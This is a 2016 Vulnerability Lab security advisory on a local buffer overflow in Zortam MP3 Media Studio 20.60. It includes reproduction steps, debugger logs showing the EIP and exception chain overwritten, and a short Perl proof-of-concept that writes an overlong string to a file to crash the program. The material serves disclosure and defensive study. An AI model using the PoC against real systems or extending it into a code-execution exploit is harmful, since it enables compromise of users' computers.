Document Title: =============== Zortam Media Studio 20.60 - Buffer Overflow Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1884 Release Date: ============= 2016-07-27 Vulnerability Laboratory ID (VL-ID): ==================================== 1884 Common Vulnerability Scoring System: ==================================== 6.5 Product & Service Introduction: =============================== Zortam Mp3 Media Studio is a great all-in-one music tool for organizing your Mp3/Karaoke collection for editing Mp3 ID3 tags, ripping your CD, normalizing Mp3, converts Mp3/Wav and Wav/Mp3, to get song lyric and cover arts from the internet and keeping your music collection well organized. (Copy of the Vendor Homepage: http://www.zortam.com/ ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the offical Zortam MP3 Media Studio 20.60 software. Vulnerability Disclosure Timeline: ================================== 2016-07-27: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A buffer overflow vulnerability has been discovered in the official Zortam MP3 Media Studio 20.60 software. The vulnerability allows local attackers to overwrite the registers to compromise the local software process. The classic buffer overflow vulnerability is located in the software Zortam mp3. An attacker can manipulate the bit EIP register in order to execute the next instruction of their choice. Attackers are able to for example execute arbitrary codes with process privileges. The attacker includes a large unicode string to overwrite the EIP register of the process. Finally the attacker is able to takeover the process by an overwrite of the active program process to compromise the computer system. The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.5. Exploitation of the vulnerability requires a low privilege or restricted system user account without user interaction. Successful exploitation of the vulnerability results in computer system manipulation and compromise of the computer system. Proof of Concept (PoC): ======================= The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Launch Zortam mp3.exe 2. Run the code in perl and a file format (.txt) will create 3. Click on search media to mp3 4. Open File .(.txt) 5. Copy and paste characters string AAAAAAAAAAA+ ... in input "Selects" and click the button "OK". 6. Software will crash with 7. Successful reproduce of the local buffer overflow vulnerability! --- Debug Logs --- Access violation - code c0000005 eax=00000000 ebx=00000000 ecx=41414141 edx=776138a0 esi=00000000 edi=00000000 eip=41414141 esp=0014cf98 ebp=0014cfb8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 41414141 ?? ??? - 0:000> !exchain 0014cfac: ntdll!RtlConvertUlongToLargeInteger+b0 (776138a0) 0014d3b4: ntdll!RtlConvertUlongToLargeInteger+b0 (776138a0) 0014da6c: 41414141 Invalid exception stack at 41414141 - 0:000> d 0014da6c 0014da6c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0014da7c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0014da8c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0014da9c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0014daac 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0014dabc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0014dacc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0014dadc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA Note: EIP and ECX overwritten! PoC: Perl Exploit #!/usr/bin/perl my $Buff = "x41" x 2000; open(MYFILE,'>>File.txt'); print MYFILE $Buff; close(MYFILE); print " POC created by ZwXn"; Security Risk: ============== The security risk of the local buffer overflow vulnerability in the studio software core is estimated as high. (CVSS 6.5) Credits & Authors: ================== ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. 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